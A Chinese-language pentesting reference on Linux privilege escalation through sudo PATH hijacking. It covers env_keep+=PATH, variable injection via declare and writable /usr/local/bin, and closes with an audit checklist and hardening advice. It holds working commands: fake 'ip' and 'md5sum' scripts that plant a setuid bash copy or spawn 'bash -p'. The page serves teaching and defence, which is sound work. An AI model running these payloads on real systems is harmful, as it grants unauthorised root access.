sudo 环境与 PATH 劫持提权
sudo 默认通过 env_reset 与 secure_path 重置执行环境,防止低权限用户把自己的搜索路径带进高权限上下文。当 sudo -l 的 Defaults 中出现 env_keep+=PATH 且没有 secure_path,或提权脚本内部用相对路径调用外部命令时,攻击者控制的目录就能抢在系统目录之前被命中。
枚举入口与更广泛的 sudo 滥用思路见 Linux 提权方法与检查清单。
判定前提
sudo -l
| 信号 | 含义 |
|---|---|
Defaults env_keep+=PATH | 用户 PATH 被原样保留进 sudo 环境 |
没有 secure_path | sudo 不会把 PATH 重置为安全目录列表 |
脚本内 ip、awk 等无绝对路径调用 | 即使环境被重置,脚本运行时仍按当前 PATH 搜索外部命令 |
场景 A:直接 PATH 劫持
SUID 或经 sudo 执行的二进制(如网络工具)以无绝对路径的方式调用 ip、ethtool 等外部命令时,在可控目录放同名脚本并抢占 PATH:
mkdir /tmp/hijack
cat > /tmp/hijack/ip <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/sh && chmod ug+s /var/tmp/sh
EOF
chmod +x /tmp/hijack/ip
PATH=/tmp/hijack:$PATH sudo -u <user> /opt/tool
先确认挂载选项:
mount | grep /tmp
如果 /tmp 带 nosuid,生成的 SUID 文件即使权限位正确,执行时也不会获得特权,应放到 /var/tmp。
场景 B:变量注入型
sudo 脚本内部存在 declare -- "$1"="$2" 这类写法时,调用者可以设置任意变量,包括 PATH:
sudo /opt/script PATH /tmp
脚本内的子 bash 会继承这个未 export 的 PATH,脚本随后调用的外部命令(md5sum、awk 等)都可以被 /tmp 下的同名脚本劫持:
cat > /tmp/md5sum <<'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/md5sum
注意 echo 等 bash builtin 不走 PATH 搜索,无法劫持;只有外部命令可以。
场景 C:目录 ACL 型
getfacl /usr/local/bin
如果当前用户对 /usr/local/bin 有写权限,而 sudo 免密脚本调用该目录下的程序且不带绝对路径,直接放入同名恶意程序即可命中。
场景 D:musl 场景
musl libc 的 SUID 进程不清理 PATH,劫持面比 glibc 更宽。劫持 cat 这类常用名时,伪造脚本内部必须用绝对路径 /bin/cat,否则脚本再次调用被劫持的 cat 会形成无限递归。
审计清单
sudo -l的 Defaults 中是否有env_keep+=PATH,是否缺少secure_path。- 提权脚本中所有外部命令是否使用绝对路径。
- 是否存在
declare -- "$1"="$2"这类允许设置任意变量的写法。 /usr/local/bin等优先于系统目录的路径 ACL 是否收紧。- 关键挂载点是否带
nosuid、noexec。
防御建议
- sudoers 固化
secure_path,不使用env_keep+=PATH。 - 保持
env_reset默认行为,避免逐项放行环境变量。 - 脚本内所有命令使用绝对路径调用。
- 关键目录(如
/usr/local/bin)收紧 ACL,禁止普通用户与组写入。 - 审计脚本中把用户参数直接当变量名使用的动态赋值写法。